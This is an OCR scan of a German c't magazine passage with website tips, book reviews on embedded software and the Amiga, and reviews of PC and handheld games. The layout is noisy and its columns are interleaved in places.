Phone: Dort wählen Sie im Browser-Menü "Auf 
Startseite", um die aktuel l  angezeigte Websei­
te als Kachel auf die Startseite zu kleben. 

Summa summarum 

Das  F ramework jQuery Mobi le bietet e ine  ein­
fache Art, Oberflächen zu erste l len, d ie  wie 
Apps aussehen. Bei der Funktional ität, die da­
rüber h inaus geht, ist so viel mögl ich, wie die 
Hardware oder der Browser des Herstel lers er­
laubt. Damit kann man abhängig vom Inhalt 
der Web-App nahe an  die Apps der jeweil igen 
P lattformen herankommen, ohne an den oft 
kosten pfl ichtigen Entwicklerprogrammen der 
Herste l ler  tei lnehmen zu müssen. Probieren 
Sie die Beispiei-App jqmOra�el aus und sehen 
Sie selbst, wie weit man kommen kann. (ola) 
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I nternet I Websites aktuell 

Web-Helferlein 

www.smore.com/cl ippy-js 

Mit Clippy.js kann  man Besuchern 
seiner Website einen kleinen Sch re­
cken einjagen - sofern sie d ie spre­
chende Büroklammer  aus  ä lteren 
Office-Versionen kennen und has­
sen ge lernt haben.  A l le  anderen 
werden d ie  Büroklammer  im  Kon­
text einer Website v ie l le icht sogar  
n ied l ich finden. 

Auf der sehr ansprechend in 
Form eines Ward-Fensters gesta lte­
ten Hornepage lässt s ich C l ippy tes­
ten. Dort fi nden s ich auch Code­
Beispiele, die demonstr ieren, wie 

Artions 

man d ie Büroklammer in sei ne Webseiten 
e inbaut und was sie a l les machen kann .  Die 
anderen an i mierten Office-Helfer le in  - der 
Zauberer Merl i n ,  der  Hund Rover und  d ie  
Katze L inks - s ind ebenfa l l s  dabe i .  C l ippy.j s  
steht u nter der M IT-Lizenz, jeder  da rf d ie  
JavaScript-Skriptsam m l u ng i n  se ine  Horne­
page e inbauen.  Uol 

Code-Puzzle 

http:/ /code.google.com/p/google-blockly 

Goog les g rafische Entwickl ungsumgebung 
Blockly sol l Anfängern den Start i n  d ie Pro­
grammierung besonders e i nfach machen.  
Wie mit Puzzle-Stücken k l ickt man dort im  
Browser Kontro l l strukturen, Sch leifen,  P ro­
zedu ren und Anweisungen zusammen.  Die 

• 

das ersetzt werden so l l ,  der  Diel'lst spuckt 
Alternativen aus .  

Dabei kennt a lternativeTo n icht nur Win­
dows-, Mac-OS- und L inux-Software, sondern 
auch Web-Dienste sowie iOS-, Android- und 
BlackBerry-Apps. Jeder Besucher kann  weite­
re Alternativen beisteuern oder die Bespre­
chungstexte der bereits vorhandenen Pro­
g ramme und Dienste editieren. Dazu muss er 
sich nur  g ratis mit seinem Goog le-, Facebook-, 
Yahoo-, Twitter- oder e inem anderen Open­
ID-Account bei a lternative Ta anmelden. Uol 

Metamediathek 
http://fernsehsuche.de 

Wo gab es in letzter Zeit e inen Fernseh­
beitrag zum Betreu u ngsgeld oder zu den 

- 0 X 

fo C � blocldy·demo.appspolcomjb!()(idy/OemosJcode/.ndex.html t�1 "\, 
LJ CJ A CJ p CJ t D t CJ 2do � ttlbbCiut • "loob. t... • Cl Wtitti't-ltsutichen 

He i l s  Angels? fernsehsuche.de 
d u rchsucht d ie Mediatheken et­
l icher Sender und l iefert d ie Ant­
wort. Der D ienst d u rchforstet 
dafü r  d ie  Vol ltexte der Pro-� > � > Code 

Biodes 
CentreX 
LOQIC 
Matt\ 
Text 
Usts 
Variables 
Protedures 

JawSaipt XML 

fert igen Anwendungen lassen s ich sofort 
ausprobieren. E in ige Beispiele sol len das Ver­
ständn is  von B locklys Code-Blöcken erleich­
tern. Blockly kann seine g rafischen Program­
me auf Wunsch i n  JavaScri pt, Da rt, Python 
oder XML übersetzen.  Uol 

Software-Alternativen 

http:/ /a lternativeto.net 

Wenn der Browser nervt, kennt man in der 
Regel e in  paar Alternativen. Be i  spezie l lerer  
Software aber wi rd es schwierig: Was n immt 
man, wenn das FTP-Programm oder der Pass­
wortverwa lter ersetzt werden so l len? a lter­
nativeTo nennt potenzie l len Ersatz: Man g ibt 
einfach das Programm in d ie Suchmaske ein, 
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g rammbesch reibungen.  Zudem ••i"·'FI·• kann  der Benutzer d ie  Suche auf 
Sen d u ngen von best immter 
Lä nge und a n  best immten Ta­
geszeiten e inschrä n ken .  Nach 
e igenen Angaben d u rchsucht 
fersehsuche.de das  E rste, ZDF,  
RTL, Sat. l ,  3sat, Vox, Super RTL, 
RTL I I ,  ZDFneo, WDR, h r, RBB, 
N DR, M DR, Rad io Bremen TV, 

SWR, SR, ZDFinfo und ZDFku ltur. A l lerd ings  
waren d ie  Ergebn i sse be i  e in igen unserer 
Stichproben n icht vo l l stä nd ig .  Auch feh lte 
zum Beispiel a rte. Uol 

Herunterkommen 

http://ca lm.com 
www.ergo-onl ine.de/site.aspx?url=html/ 
gesundheitsvorsorge/vorsorge_augen/ 
uebungen_zur_entspannung_der_.htm 

Haben Sie sich auch schon mal von I h rer Ar­
beit ganz weit weg gewünscht? An e inen 
e insamen Strand etwa oder  a n  e inen p lät­
schernden Gebirgsbach? ca lm.com versetzt 
S ie an e inen a bend l ichen See oder in e in  
Feld, du rch das e in sanfter Wind  streicht. Wer 

es mag, ka n n  die Szener ie auch mit Mus ik  
oder  e iner  eng l i schsprach igen Entspan­
n ungsanle itung u nterlegen lassen. 

- Bei ca lm.com mag sich d ie Seele zwar ein 
wenig erholen - d ie Augen entspannen s ich 
beim B l ick auf den Mon itor a l lerd ings n icht. 
Wer se inen von der B i ldsch i rma rbeit ge­
stressten Augen etwas Gutes tun wi l l , sol lte 
rege lmäß ig  Pausen e in legen und auch ma l  
gezielt vom Mon itor weg i n  d ie Ferne sehen. 
ergo online i nformiert ü ber  das Thema 
"Augen und B i ldsch i rma rbeit" und l i stet eine 
Reihe von Übu ngen auf, m it denen man 
auch se inen Augen e in wen ig  Erhol ung ver­
schaffen kann .  Uol 

Code testen 

http:/ /jsfiddle.net 
http:/ /ideone.com 

ln der letzten c't-Ausgabe haben wir den 
Dienst Th imb le  vorgeste l l t, bei dem man 
on l ine HTM L und  CSS bearbeiten ka nn .  
jsFiddle beherrscht auch JavaScript. l n  d rei 
Fenster g ibt der Entwickler dort HTML-, CSS­
und JavaScript-Code ein, ein Viertes präsen­
tiert das Ergebnis .  Dabei kan n  man eines aus  
e inem g uten Dutzend JavaScr ipt-Frame­
works e in betten .  

ldeone.com wiederu m eig net s ich ,  u m  
sch ne l l  ma l  Code i n  mehr  a l s  4 0  Prog ram­
miersprachen auszuprobieren, von Ada über 
C(++) und COBOL b is  zu Wh itespace. Man 
schmeißt sein E laborat i n  e in Fenster, drückt 
" run code", und schon übersetzt ldeone.com 
es und füh rt es aus. Normalerweise l i stet der 
Dienst a l l e  an i h n  übermittelten Prog ramme 
u nter " recent codes" auf. 

Man kan n  seinen Code aber auch a l s  "pri­
vate" dekla rieren und so fremden Augen vor­
entha lten.  Wer s ich kosten los bei ldeone. 
com reg istr iert, der kan n  sei ne Programme 
dort auch  d i rekt edit ieren und  komplexere 
Prog ramme ausfüh ren, die bis zu 1 5  Sekun­
den Rechenzeit statt der sonst vergebenen 
5 Sekunden erhalten. Der Quel ltext darf ma­
x ima l  64 KByte g roß sein, a n  Speicherplatz 
stehen maxima l  256 MByte zur  Verfügu ng, 
E in- und Ausgaben lassen s ich nur über std in  
und  stdout rea l i s ieren. Uol 

WWW.d.de/7275 778 
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Thomas Eißenlöffel 

Embedded-Software 
entwickeln 

Grundlagen der Programmierung 
eingebetteter Systeme 

Der Begriff ,. Embedded Systems" steht fü r 
Kleinstcomputer, d ie  in Gerätschaften von 
der Kamera bis zum Kühlschrank fest i nte­
griert sind und diese steuern. Der Markt dafü r  
wächst seit Jahren; dementsprechend g roß 
ist der Bedarf a n  kompetenten Softwa re­
Entwicklern fü r d iese Systeme. E ißenlöffels  
Buch versucht, e ine Brücke zu schlagen zwi­
schen den Entwicklern m it Anwendu ngs­
und denen mit Hardware-Schwerpunkt. 

Leider verspricht der Titel mehr, als das 
Buch hält. Die Lektüre versetzt n iemanden 
i n  d ie Lage, aus  dem Sta nd heraus  P ro­
gramme fü r Mikrocontro l ler  zu entwicke ln .  
E ißenlöffel vermittelt eher u mfassend theo­
retische Aspekte und Konzepte zur Saft­
wareentwickl ung  und  geht n u r  nebenbei 
auf Besonderheiten von Embedded Sys­
tems ein. Vier Fünftel des vermitte lten Wis­
sens lassen sich auf nahezu a l l e  Softwa re­
entwickl ungsprojekte anwenden. Themen­
spezifisches b i ldet d ie Ausnahme. 

Der Prozess der struktur ierten Software­
entwick lung i st sehr ausfü h rl i ch  in s ieben 
Kapite ln  besch rieben. Außer den Grund la­
gen behandelt  das Buch auch Anforde­
rungsana lyse, Arch itektur  und Des ign von 
Softwa re. Den g rößten Rau m  n im mt der 
Bere ich der I m p lementieru ng e in ,  aber 
auch dort geht es nur am Rande u m  Em­
bedded Systems.  Das Kapitel zum Thema 
Test geht noch am ehesten auf Anforderun­
gen d ieser Systeme ein.  Auch hier b le ibt 
E ißenlöffel jedoch genera l i s ierend. 

Am besten i st das  Werk fü r I nformatik­
Überfl ieger und  Neu l i nge  geeignet, d ie  
e inen Überbl ick wünschen. Zum Zielpub l i ­
kum gehören etwa Projektverantwort l iche 
und Entscheider, d ie  e inen Entwickl u ngs­
prozess p lanen,  begle iten und verantwor­
ten müssen. Erfah rene Software-Entwickler 
werden in  d iesem Buch kei ne Neu igkeiten 
fi nden, selbst wenn sie mit Embedded Sys­
tems bisher wenig zu tun hatten .  

(Ka ri-Heinz Dah lmann/psz) 
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J immy Maher 

The Future was Here 

The Com modore Amiga 

Heut ige Computer werden weitgehend a l s  
Gebrauchsgegenstände wahrgenommen. i n  
den  Boomjahren de r  Heimcomputer h inge­
gen hatten die Systeme, die zueinander in 
Konku rrenz standen, leidenschaftl iche Fan­
Gemeinden.  Besonders die Amiga-Szene 
war berühmt fü r die enge B indung, d ie N ut­
zer und Software-Entwickler zu ih ren ,.F reun­
d innen" mit der fü r dama l ige Maßstäbe 
recht leistungsfähigen Hardware aufbauten. 

Der Amiga galt n ie a ls  nüchternes Arbeits­
gerät - a u ßer Spie len beherrschten vor 
a l lem Werkzeuge fü r Kreative den Anwen­
d ungsmarkt fü r das System. Raytracing, Vi­
deovera rbeitung und Farbgrafik mit künstle­
rischem Anspruch waren bereits vor 25 Jah­
ren bel iebte Tummelplätze fü r Amiganer. 

i n  sei nem Buch, das i n  der Reihe ,.P iat­
form Studies" ersch ienen i st, ze ichnet 
Maher d ie Entwicklung des Amiga sowie der 
wicht igsten P rog ramme wie etwa Del uxe 
Pa int oder Scu l pt-An imate nach .  Der Tief­
gang der Betrachtungen ist beträchtl ich. So 
demonstr iert der Autor n icht n u r  d ie  Her­
ste l l ung  von An imationen, er beschre ibt 
obendrein haarklein, wie Software auf dem 
Amiga rea l is iert wurde. Das geht bei der be­
rühmten Bal l-Demo oder dem Spie l  ,.Mena­
ce" du rchaus bis auf die Ebene von Assemb­
ler, Bl itter und Copper herunter. Sämtl iche 
Sch ritte dokumentiert Maher mit vielen Vi­
deos im  Netz unter http://amiga.fi lfre.net/. 

Maher  besch rä n kt s ich n icht  n u r  auf 
techn ische Aspekte, sondern besch re ibt 
auch  den M ikrokosmos, der  ru nd u m  den 
Amiga entstand.  Er ana lysiert den u n rü h m­
l ichen N iedergang des Herste l lers Commo­
dore, beschäft igt s ich ausfü h rl i ch  mit  der  
Demo-Szene und lässt sogar  den Schöpfer 
des ersten Amiga-Vi rus zu Wort kommen.  
Dabe i  schwelgt er n icht i n  Nosta lg ie, son­
dern l iefert mit  Sachkenntn i s  I nformatio­
nen, nach denen früher mancher lange su­
chen m usste - e ine  rundweg erfreu l iche 
Lektüre fü r Alt-Amiganer, d ie  s ich n icht  
davor fü rchten, gedankl ich i n  den Maschi­
nenra u m  des Systems h inabzusteigen.  

(Maik Schm idt/psz) 
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Extraleben 1 1 1  - Endboss 

Ein  Abenteuerroman fü r die 
"Generation Commodore 64" 

Die  ,. Extra leben"-He lden N ick  und  Kee, 
Vetera nen der C-64-Ära, s i nd  i nzwischen 
deut l i ch  ü be r  v ierz ig ,  a ber  n ie  r icht ig 
erwachsen g eworden .  Das  neue Aben­
teuer  der  A ltsystem-Daten retter beg i n nt 
a n  der  Abstu rzste l l e  e ines  F l ugzeugs,  mit  
dem ihr  Chef veru n g l üc kt i st .  Aus  dem 
Wrack fi schen s ie  e in  Datenband hera u s, 
das i h nen sch l ieß l ich e ine ausgedehnte I rr­
fa h rt d u rch  d i e  USA e i n br ingt  - ä h n l i ch  
der, d ie  e inen g roßen Tei l  des ersten Bu­
ches fü l lte. 

Le ider g l ä nzt ,. End boss" n icht gerade 
d u rch  Ü berraschu ngen und neue Ideen,  
auch wen n  d iesma l  e i ne  Entfü h rungs­
Story und  e ine  k le ine Portion Weltrettung 
h i nzukommen.  Aber  was macht  das schon, 
wenn Er innerungen einer ganzen Genera­
t ion von Computerkids ,  Sc ience-F ict ion­
K inofa ns  und  Pop-Konsu menten d u rch d ie  
r icht igen Stichwörter und  H inweise wieder 
l ebend ig  werden?  Und schöne Aphor is­
men g i bt es a uch,  etwa i n  Bezug auf  eroti­
sche Fantas ien :  ,.Sch reckl ich - da i st man 
ba ld  so a l t  wie Yoda,  aber der Typ, der im 
Kopf d ie  F i lme  e i n legt, b le ibt i m mer  fü nf­
zehn . "  Oder a nges ichts  e i nes noch n icht  
ma l 45 Jah re a lten IBM 5 1 1 0  bei -der Arbeit: 
,. E l ektron i k  a ltert sch ne l l  und meistens  
würdelos." , 

Zum (früh  vorhersehbaren) Sch luss  h i n  
m utet G i l l i es se inen Lesern e in ige  U nge­
rei mtheiten zu .  D iejen igen,  d ie  s ich a n  De­
ta i l s  aus dem ersten ,. Extra leben" er innern, 
werden s ich fragen,  wie s ich ma nches dort 
Gesagte mit  dem Hand lu ngsver lauf in der  
neuen Roadstory verträgt. 

Wer noch kei nes der d re i  Bücher ken nt, 
dem sei das erste empfoh len, das auch gut 
fü r s i ch  a l l e i n  stehen ka n n .  F reu nde der  
Roma n he lden u n d  Retro-Comput ing-Ge­
nossen, die u ngefä h r  zwischen 1 963 und 
1 973 geboren wu rden und  s ich ü ber e ine  
zusätz l iche g roße Dos i s  Mus ik-, F i l m- llnd 
Gam ing-Ansp ie lungen a u s  der  80er-Ki ste 
freuen ,  machen aber  m i t  dem Kauf von 
,. End boss" n ichts fa l sch .  (psz) 
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Spiele I Adventure, Endzeit-Strategiespiel 

Feen, Vögel und Voraussagen 
Aventu rien, d i e  Welt des Würfel­
Rol lenspielsystems "Das Schwar­
ze Auge" (DSA). stand schon 
manches Mal kurz vor dem Un­
tergang .  Zum G l ück fand s ich 
b is lang stets m i ndestens  e in  
He ld ,  der bereit wa r, das U n he i l  
abzuwenden.  Zum ersten Ma l  
geschieht d ies n u n  i n  e inem 
rein rassigen Adventu re. 

Hauptakteu r  in DSA - Sati­
navs Ketten ist der Vogelfän­
ger  Geron. Er g i l t  a l s  Ung lücks­
bote; dreizehn Jahre zuvor er­
g ing eine Propheze ihung, 
der zufolge ausgerechnet 
er das Ende seines Hei­
matlandes Andergast her­
beiführen wird.  Jetzt tau­
chen plötzl ich im  ganzen 
Königreich Krähen auf und 
unheiml iche Morde passie­
ren - finstere Mächte s ind 
am Werk. Geron jedoch wi l l  
s ich n icht einfach dem ver­
meint l ichen Schicksal er­
geben, sondern versucht 
mit a l len Mitteln,  das Ver­
hängnis aufzuhalten. 

D ie Idee, ein ro l lensp ie ltypi­
sches Geschehen . in ein Adven­
ture zu packen, kan n  bei Genre­
freunden beider Seiten zunächst 
misstrau isches Sti rnrunze ln  her­
vorrufen .  Das Konzept geht i n  
d iesem Fa l l  jedoch auf; d a s  Spie l  
fu n kt ion iert sehr  g ut.  D ie 
handgezeichneten, l iebevo l l  
a usgefü h rten G rafi ken las ­

sen d ie  passende Atmo­
sphäre a ufkommen;  ei­
nen hohen Ante i l  daran 
haben d ie  a usdrucks-

sta rken Gesichter der 
F iguren .  

I h re Sprachan i ­
mation i st a l lerd ings  
gewöhnungsbe­
d ü rftig :  Ähn l ich wie 
bei vie len japan i schen 

An imes bewegen s ie 
auf e ine sehr steife, mi­
n ima l ist ische Weise 

den Mund;  L ippensyn­
ch ron ität g i bt es n i cht. Da­
d u rch entsteht eine e igen­

wi l l ig  statische Anmutung, 
d ie  z iem l i ch  gut zum be-

Am Rande des Abgrunds 

Giftige Dämpfe, mut ierte Tiere, 
schwer bewaffnete Söldner - das 
Schweden der  Zukunft ist a l les 
andere a l s  idyl l i sch ,  wen n  man 
dem Action-Strategica l  Krater -
Shadows over Solside g l aubt. 
Nach einer n u klearen Katastro­
phe g ibt es n u r  noch wen ige 
Überlebende. D ie s iede ln  s i ch  
am Rand e ines  gewa lt igen Kra­
ters an, u nter dessen Schutt- und 
Gestei nsmassen wertvol l e  und 
nützl iche Artefakte l iegen. 

Der Spieler steuert ein Tea m 
aus d rei Söldnern, d ie gegen Be-
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zah l u ng i n  ver lassene Fabr iken 
oder u nteri rd ische Lagerräume 
e indringen,  u m  von  dort techn i­
sche Leckerbissen der  Vergan­
genheit ans  Tagesl icht zu ho len .  
Nebenbei stauben sie dabei Waf­
fen und  versch iedene n utzbr in­
gende Imp lantate fü r das e igene 
Team ab.  

i n  mancher H i n s icht er innert 
"Krater" a n  d ie  Action-Ro l len­
spie le der Diab lo-Serie. Wie dort 
steht d ie ständige Konfrontation 
mit Monsterhorden im M itte l ­
punkt; wer dabei E rfo lg  haben 

sonderen St i l  des gesa mten 
Spiels passt. 

Die Rätsel s i nd  mehr  a l s  
knackig,  zudem w i rd d e r  
Sp ie le r  n i c h t  gerade m i t  
H i nweisen ü berhäuft.  Auf  
manche Lösungen kommt 
er  d u rch fle iß iges Knobel n .  

Oft i st es jedoch nöt ig ,  
v ie le verschiedene Kombi­
nat ionen von Gegenstän­
den ged u ld ig  a u szupro­
bieren. 

Wi rkl i ch  gut g e l u ngen 
s ind  d ie  be iden  H a u ptcha­
raktere. Geron ist ein sym­
path i scher  Ker l ,  der z u m  

Mitfü h len  reizt .  I h m  steht d i e  
F e e  N u ri zur  Seite - s ie sorgt m i t  
i h rer  N a ivität und  Offenheit  fü r 
Sch m u nze lmomente. Dass s ie  

w i l l ,  m u ss s ich d ie  besonderen 
Fäh igkeiten jedes Team­
m itg l ieds zunutze ma­
chen .  Man  verfo lgt das  
Geschehen a u s  e iner  
Sch rägdra ufsicht­
Perspektive. D ie  
G rafi k  kan n  D ia­
b io  1 1 1  i n  puncto 
Deta i lfreud igkeit 
und Auflösung 
n icht das  Wasser 
re ichen .  A l le rd ings  
i st s ie  seh r  e igenwi l ­
l i g  und mit  S inn fü r 
H u mor  gesta l tet worden .  D ie  
Sch rott-Ästhet ik  des Terra i n s  
und d ie  skurr i len Rüstungen wi r­
ken d u rchaus reizvo l l .  

Bemerkenswert i st u nter an ­
derem das Konzept der  Waffen .  
E ine  P i stole oder Keu l e  kan n  
n icht b loß Schaden a n r ichten, 
sondern a ußerdem E igenschaf­
ten der Spielfigu r  verbessern, d ie  
s ie  trägt. D ie meisten Gegen­
stände kan n  e in  Akteu r  im  Spie l  
n icht nur fi nden,  sondern auch  
selbst herste l len - sofern er  d ie  
nöt igen Kom ponenten dafü r i n  
seiner  I nventar l i ste hat. 

Das unabhäng ige schwedi­
sche Entwicklerstud io Fatsha rk, 
das  "Krater" geschaffen hat, wi l l '  

dabe i  n i e  d u m m  wi rkt, i st den 
sehr  gu t  gesch r iebenen D ia lo­
gen sowie i h rer hervorragenden 
Synch ronsti mme zu verdanken.  

(N ico Nowarra/psz) 

Das Schwarze Auge -
Satinavs Ketten 
Vertrieb Daedalic Entertainment, 

www.daedalic.de 
Betriebssystem Windows 7, Vista, außerdem 

Xbox 360, PS 3 
Hardware- 2600-MHz-PC oder Mehrkern-
anforderungen System, 3 GByte RAM, 5 12-

MByte-Grafik 
ohne Onl ine-Aktivierung 
Umsetzung @ 

in den nächsten Wochen noch ei­
nige Verbesserungen nachlegen 
- u nter a nderem sol l  es einen 

kooperativen On l ine-Modus 
geben,  der  es Spie­

lern i n  a l ler Welt er­
l aubt, Teams für ge­
meinsame Schatz­

jagden zu bi lden. 
"Krater" ist derzeit 

nu r  über die On l i ne­
P iattform Steam 
erhä l t l i ch .  Die 

"Col lector's Edition" 
br ingt zusätzl ich zum 

Spie l  noch den Soundtrack i n  
Form von M P3-Dateien sowie 
die Sonderfigu r  Dr. Cerebro mit. 

I 

(N ico Nowarra/psz) 

Krater -
Shadows over Solside 
Vertrieb 

Betriebssystem 

Hardware­
anforderungen 

Fatshark, 
www.kratergame.com 
Windows 7, Vista 
2600-MHz-Mehrkern-PC, 
4 GByte RAM, 5 12-MByte­
Grafik 

Kopierschutz Onl ine-Aktivierung und 
Registrierung über Steam 

Idee 0 Umsetzung 0 
Spaß @ Dauenmotivation $ 
1 Spieler • Deutsch • USK nicht geprüft, 
red. Empfehlung ab 16 • 14  € (Collector's 
Edition 1 9 €) 
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Von Tempeln und Templern 
Adam ist e i n  waschechter Aben­
teurer in  den wi lden 1 920er-Jah­
ren - einer Zeit, a ls d iese verwe­
gene Spezies noch in Mode war. 
Der Professorensohn,  der  fl ie­
ßend Late in  beherrscht, hat eine 
Schwäche fü r die Gehei m n isse 
des Kön igs  Sa lomo und i st von 
den Tempel rittern faszi n ie rt. 
Ähn l ich wie Steven Sp ie lbergs 
lndiana Jones l iebt er das Ris i­
ko und wächst 
i n  gefä h rl i ­
chen Situa­
t ionen über 
s ich sel bst 
h inaus. 

Adam's 
Ventu re, Episode 3 -

die Offenbarung fü h rt 
d ie Gesch ichte u m  Adam, 
se ine Freu nd i n  Eve lyn 
und  den Pa last von Sa lo-
mo zu i h rem Absch l uss .  D ie bei­
den ersten Ep i soden braucht  
man a ber  n icht  zu kennen ,  um 
das Geschehen zu verstehen .  
G le ich  zu Beg i n n  des neuen 
Sp ie l s  fä l l t  Adam i n  O h n macht  
und lässt den Sp ie ler  a l s  Zeugen 

@ Spiele-Notizen 

Sony bietet immer mehr PSN­
Spie le auch  fü r d ie  PS Vita an ,  
d ie man fü r a l le Plattformen nur  
e inma l  erwerben m u ss .  So 
wurde fü r das  Vita-Rennsp ie l  
Wipeout 2048 nun  d ie  PS3-Ver" 
sion Wipeout HO samt dem ge­
l ungenen Fu ry-Addon a l s  E rwei­
terung u mgesetzt. Neben zwei 
u mfangre ichen Solo-Ka mpa­
gnen enthä lt  d ie  E rweiterung 
a l l e  12  Tracks und  24 G leiter 
sowie die Fu ry-Spie lmod i .  Die 
Tracks sind schma ler  und kur­
viger a l s  i m  2048-Hauptpro­
gramm und erfordern mehr fah­
rerisches Können a l s  Feuerkraft. 
Besitzer von Wipeout 2048 kön­
nen das Komp lettpaket fü r 
1 3  Eu ro aus  dem PSN laden .  
Wer Wipeout H O  bereits aus  
dem PSN fü r d ie  PS3 erworben 
hat und Wipeout 2048 besitzt, 
bekommt d ie  Vita-Erweiterung 
kosten los. 

Nach N i ntendo und Sega hat 
nun auch Microsoft seine Tei l ­
nahme a n  der  Kölner  Sp ie le­
messe Gamescom a bgesagt. 

c't 201 2, Heft 1 5  

se ines Tra u m s  d ie  Anfänge  der  
Gesch ichte i n  Ku rzform er leben.  

D ie  fi na l e  Ep i sode i st be im 
E rzä h len  i h rer  Gesch i chte von 
z iem l i cher  Hekt ik  geprägt .  We­
der d ie  Vergangen heit noch das 
g roße F i na l e  w i rd h i n re ichend 
a u sfü h rl i ch  gezeigt. Man ka n n  
"D ie  Offenbarung" i n  n u r  d re i  
Stu nden d u rchsp ie len .  

Die Entwickler haben s ich 
entschieden, d ie  U n rea l  En­
g ine 3 zu nutzen. S ie  d ient  

normalerweise a l s  Grund­
lage fü r Shooter oder 

Action-Adventu res und 
ist n icht u n bedingt 
erste Wah l  fü r d ia log­
or ient ierte Sp ie le .  
V ie le Rätsel löst man 
dadurch, dass man  
Objekte bewegt und  

a n  d ie  r icht ige Ste l l e  
rückt. H ingegen spie lt  das Kom­
b in ieren a ufgenommener  Ge­
genstände - sonst ein Pa rade­
kennzeichen von Adventu res -
nahezu keine Rol le .  

Le ider s ind v ie le Aufgaben 
a l les andere a l s  k la r .  Der Spie ler 

Man wol l e  s ich · mit  der  
Xbox 360 und  Kinect auf k le ine­
re e igene Präsentationen kon­
zentrieren, hieß es zur  Beg rün­
dung.  Sony hat indes e ine Tei l ­
nahme bereits bestätigt. 

Studenten der Gruppe " 1 2  An­
g ry Devs" an der U n iversität 
Sa lzbu rg haben das wunder­
hübsche Plattform-Puzzlespie l  
Of Light & Shadow a l s  i h re Ab­
sch l ussarbeit veröffent l icht. ln 
dem kosten los fü r Mac u nd 
PC erhä lt l ichen Downloadspie l  
d u rchstreift der Spie ler  mit zwei 
F iguren e ine farbenfrohe Hüpf­
landschaft. Mr. Light muss dabei 
u n bedingt immer im  Lichtkegel  
der Scheinwerfer b le iben, wäh­
rend Dr. Shadow sich in den 
Schattenbereichen bewegt. Gra-

ist mehr  damit  beschäftigt, den 
S inn der  unzure ichenden Be­
schre ibu ngen zu entsch l üsse ln ,  
a l s  d ie Rätsel sel bst zu lösen.  Das 
macht das Spie l  z ieml ich schwie­
rig, aber auf u nfa i re Weise. 

E rfr ischend i st die Bewe­
g u ngsfre iheit, die man gen ießt. 
Adam kan n  i n  d ie Hocke gehen 
und  so d u rch n iedr ige Gänge 
kriechen.  Mit e inem kü hnen 
Sprung lässt man i h n  an  Vor­
sprünge hechten und h i naufklet� 
tern. Die Entwickler haben d ie  
Turn- und Sprungein lagen a l ler­
d ings n icht s innvo l l  im Spiel ver­
ankert; d iese wi rken weitgehend 
deplatziert. 

Mehr  Liebe zum Deta i l  und  
mehr  Sorgfa l t  be i  der  U mset-

fi k, Sound und Feinschl iff bewe­
gen sich auf e inem N iveau, das 
man bei F reeware se lten findet. 

ln Psychout muss  der Sp ie ler  
e ine  i n  e iner  Zwangsjacke ge­
fangene F ig u r  aus  e iner Gummi-

zel l e  befre ien.  Jeder  B i ldsch i rm 
ste l l t  dabei  e in neu es Rätsel .  Ma l  
lässt s ich d ie  Schwerkraft um­
d rehen, ma l  füh ren u nsichtbare 
Brücken ü ber  e inen Abgrund 
oder d ie  Wände verwa nde ln  
s ich i n  Pong-Sch läger. Das a b­
gedrehte Puzzle-Spie l  von Fun­
Crow ist u nter dem c't-L ink kos­
ten los sp ie lba r. 

Angehende Hacker und andere 
Strategen können den PC-Kias­
s iker Uplink jetzt auch auf dem 
i Pad spie len. I ntrovers ion Soft-

Spiele I Adventure, Notizen 

zung hätten a u s  dem d ritten 
Ada m-Spie l  etwas wirk l ich Fei­
nes gemacht. Rein v isue l l  
braucht s ich "D ie Offenbarung" 
n icht zu verstecken, und auch 
die Atmosphäre kommt stimmig 
herüber. (N ico Nowarra/psz) 

Adam's Venture, Episo­
de 3 - die Offenbarung 
Vertrieb Ieeberg lnteractive, 

www.iceberg-interactive.com 
Betriebssystem

. 
Windows 7, Vista, XP 

Hardware- 2200-MHz-PC oder Mehrkern-
anforderungen System, 2 GByte RAM, 64-

MByte-Grafik 
Kopierschutz ohne Online-Aktivierung 
Idee ® Umsetzung 8 
Spaß 0 Dauermotivation 8 
1 Spieler · Deutsch · USK 6 • 10 € 

ware bietet fü r 4 Euro eine ge­
l ungene Umsetzung an, bei der 
Spie ler ü ber I nternet Gateways 
in a ndere Rechner  e indringen 
und  Daten steh len müssen. 
Wegen des hohen Textante i l s  
s ind g ute Eng l i schken ntnisse 
erforder l ich.  

Zumindest techn isch ge lungen 
i st die Portieru ng des Adven­
tu re-K lass ikers Myst auf  das 
i Pad.  Cyan Words reaiMyst ar­
beitet a l le rd i ngs  n icht mit  ge­
renderten Standb i ldern, son­
dern lässt die Sp ie ler  i n  der 
nachgebauten Umgebung frei 
herum l aufen und  nach den 
r icht igen Scha ltern und Lösun­
gen suchen.  D ie etwas um­
ständ l iche Steuerung und  d ie  
l angen Wege zwischen den 
Puzzles z iehen das  eh schon 
langatmige Sp ie lp ri nz ip a l l er­
d i ngs  noch mehr  in d ie  Länge 
und erschweren d ie  Orient ie­
rung .  Der Pre is  von 5,50 Eu ro 
so l l  ba ld auf 8 Eu ro steigen. 

www.d.de/12 15183 
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Spiele I Rollenspiel, Action-Komödie 

Taschenteufel 
Nachdem Diab io 3 auf PCs  und 
Macs das Kl ick- und Sammei­
F ieber neu entfacht hat ,  legt 
Square Enix fü r N i ntendos 3DS 
mit Heroes of Ruin eine mobi le 
Va riante nach.  Gen retypisch 
du rchstöbert der  Sp ie le r  Höh­
len labyri nthe, d rischt auf angrei­
fende Monster ein, sammelt 
Schätze und Ausrüstungen und 
genehmigt sich ab und zu einen 
Zaubertrank, u m  seine Lebens­
und Mana-Energie wieder aufzu­
fü l len .  So steigt er Level um Level 
auf, lernt neue Spezia lang riffe, 
mit denen er den ebenfa l l s  stä r­
ker werdenden Gegnern e inheizt. 

Vier Cha rakterklassen stehen 
zur Wah l .  Der gut geschützte Rit­
ter und der d u rchsch lagssta rke 
Ba rba r g reifen jeden Gegner im  
Nahkampf an  und blocken deren 
Schläge. Bei den Fernkämpfern 
wählt  man zwischen dem fl i nken 
Revolverhelden und der herum­
wi rbel nden Za u ber in .  S ie s ind 
n icht so widersta ndsfäh ig  und  

Heroes of Ruin 
Vertrieb Nintendo I Square Enix 
System Nintendo 3DS 

4 online I lokal 
Umsetzung ® 

E9 gut 0 liifriedenstellend 
ee sehr schlecht 

ha lten s ich desha l b  von Gegnern 
besser fern .  Neben i h ren Stan­
da rdang riffen beherrschen s ie 
d u rch Mana verstärkte Spezia l­
Attacken.  Der Spie ler  lernt oder 
verbessert s ie mit  jedem Level ­
Aufst ieg. Wie er  s ich dabei  ent­
scheidet, spielt in der Praxis a l ler­
d ings  kau m  e ine Rol le .  Wei l d ie  
Monster relativ le icht z4 er legen 
sind, bedarf es kau m  ausge­
